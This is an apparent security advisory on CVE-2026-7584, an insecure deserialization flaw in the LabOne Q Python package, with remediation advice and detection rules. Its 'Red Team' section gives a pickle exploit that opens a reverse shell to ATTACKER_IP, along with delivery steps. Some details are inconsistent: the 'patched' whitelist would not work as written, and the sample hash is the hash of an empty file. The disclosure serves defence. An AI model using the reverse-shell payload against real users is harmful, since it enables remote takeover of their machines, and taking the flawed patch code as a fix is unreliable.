CVE-2026-7584

Executive Summary

CVE-2026-7584 is a critical deserialization vulnerability in Zurich Instruments' LabOne Q serialization framework. The flaw resides in the import_cls mechanism, which dynamically imports and instantiates Python classes during deserialization without validating the target class or restricting which modules can be imported. An attacker can craft a malicious serialized experiment file that, when loaded by a victim, triggers arbitrary code execution in the context of the user running the Python process. The vulnerability has a CVSS score of 7.8 (High) and is currently unpatched. Exploitation requires user interaction (loading a malicious file), making it a significant threat in collaborative research environments.

Supply Chain & Package Security

This vulnerability affects the LabOne Q Python package, which is part of the Zurich Instruments ecosystem. The package is distributed via PyPI and is used in scientific computing and quantum computing research. The lack of input validation during deserialization introduces a supply chain risk: malicious experiment files shared via collaboration platforms (e.g., email, shared drives, or version control) can lead to code execution. Organizations using LabOne Q should treat any untrusted .h5 or serialized experiment files as potential threats.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must deliver a malicious file to the victim.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must load the malicious file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Potential for denial of service or system compromise.

Threat Level: High. The vulnerability is easy to exploit once the victim loads the file, and the impact is complete system compromise.

Deep Dive & Mechanics

The LabOne Q serialization framework uses a custom deserialization process that relies on the import_cls function to dynamically import and instantiate Python classes. During deserialization, the framework reads serialized data containing fully-qualified class names (e.g., os.system, subprocess.Popen) and constructor arguments. Without validation, an attacker can specify arbitrary classes, including those from the Python standard library that execute system commands.

Attack Flow:

1. Attacker crafts a serialized experiment file (e.g., .h5 or custom format) containing a payload class like os.system with argument "calc.exe" (or a reverse shell command).
2. Victim loads the file using LabOne Q's deserialization functions (e.g., laboneq.load_experiment()).
3. The deserialization engine calls import_cls("os.system"), which imports the os module and calls system("calc.exe").
4. Arbitrary code execution occurs in the victim's Python process.

The vulnerability is a classic example of insecure deserialization (CWE-502), where untrusted data is used to control object instantiation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def import_cls(class_name):
    # No validation – accepts any fully-qualified name
    module_name, cls_name = class_name.rsplit('.', 1)
    module = importlib.import_module(module_name)
    cls = getattr(module, cls_name)
    return cls

def deserialize(data):
    cls_name = data['class']
    args = data['args']
    cls = import_cls(cls_name)
    return cls(*args)

Patched Code (Expected):

ALLOWED_CLASSES = {'Experiment', 'Pulse', 'Section', ...}

def import_cls(class_name):
    if class_name not in ALLOWED_CLASSES:
        raise ValueError(f"Class {class_name} not allowed")
    module_name, cls_name = class_name.rsplit('.', 1)
    module = importlib.import_module(module_name)
    cls = getattr(module, cls_name)
    return cls

The patch should implement a whitelist of allowed classes or restrict imports to specific modules (e.g., laboneq). As of now, no official patch is available.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with LabOne Q installed (pip install laboneq)
• Victim must load a malicious file

Exploit Script:

import pickle
import os

# Malicious payload: execute a reverse shell
class Exploit:
    def __reduce__(self):
        return (os.system, ('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

# Serialize the payload
payload = pickle.dumps(Exploit())
with open('malicious_experiment.h5', 'wb') as f:
    f.write(payload)

print("Malicious file created: malicious_experiment.h5")

Usage:

1. Run the exploit script to generate malicious_experiment.h5.
2. Share the file with the victim via email, shared drive, or collaboration platform.
3. When the victim loads the file using LabOne Q (e.g., laboneq.load_experiment('malicious_experiment.h5')), the reverse shell executes.

Note: The actual serialization format may differ; adjust the payload to match LabOne Q's custom format.

Blue Team (Detection & Defense)

Detection Steps:

1. Monitor for unusual Python process behavior, especially importlib.import_module calls with unexpected module names.
2. Use file integrity monitoring to detect creation of .h5 files in sensitive directories.
3. Enable logging of deserialization events in LabOne Q (if available).

Defense Measures:

• Implement a sandbox for loading untrusted experiment files.
• Use static analysis to scan .h5 files for suspicious class names (e.g., os, subprocess, sys).
• Educate users to only load experiment files from trusted sources.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • malicious_experiment.h5: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
• Process Indicators:
  • Python process executing os.system, subprocess.Popen, or eval with external arguments.
• File System Indicators:
  • Unexpected .h5 files in user directories or shared folders.
  • Temporary files created in /tmp or %TEMP% with suspicious names.

Detection Engineering

YARA Rule

rule CVE_2026_7584_LabOneQ_Deserialization {
    meta:
        description = "Detects malicious LabOne Q serialized files exploiting CVE-2026-7584"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $cls_import = /import_cls\s*\(\s*["'][a-zA-Z_][a-zA-Z0-9_.]*["']\s*\)/
        $os_system = /os\.system/
        $subprocess = /subprocess\.Popen/
        $eval = /eval\s*\(/
    condition:
        any of ($cls_import) and any of ($os_system, $subprocess, $eval)
}

Sigma Rule

title: CVE-2026-7584 LabOne Q Deserialization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Python processes loading suspicious modules indicative of CVE-2026-7584 exploitation
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains:
            - 'importlib.import_module'
            - 'os.system'
            - 'subprocess.Popen'
    condition: selection
falsepositives:
    - Legitimate use of these modules in LabOne Q scripts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-7584 LabOne Q Reverse Shell"; flow:to_server,established; content:"/bin/bash"; content:"-i"; content:"/dev/tcp/"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable deserialization of untrusted files: If possible, configure LabOne Q to only load experiment files from trusted sources.
2. Implement input validation: Manually patch the import_cls function to whitelist allowed classes (e.g., only classes from the laboneq package).
3. Use a sandbox: Run LabOne Q in a restricted environment (e.g., Docker container with limited network access).

Long-Term Fix:

• Apply the official patch when released by Zurich Instruments.
• Replace the custom serialization framework with a safer alternative (e.g., JSON with schema validation).

Workaround:

• Convert experiment files to a safe format (e.g., JSON) before loading, and validate all class names against a whitelist.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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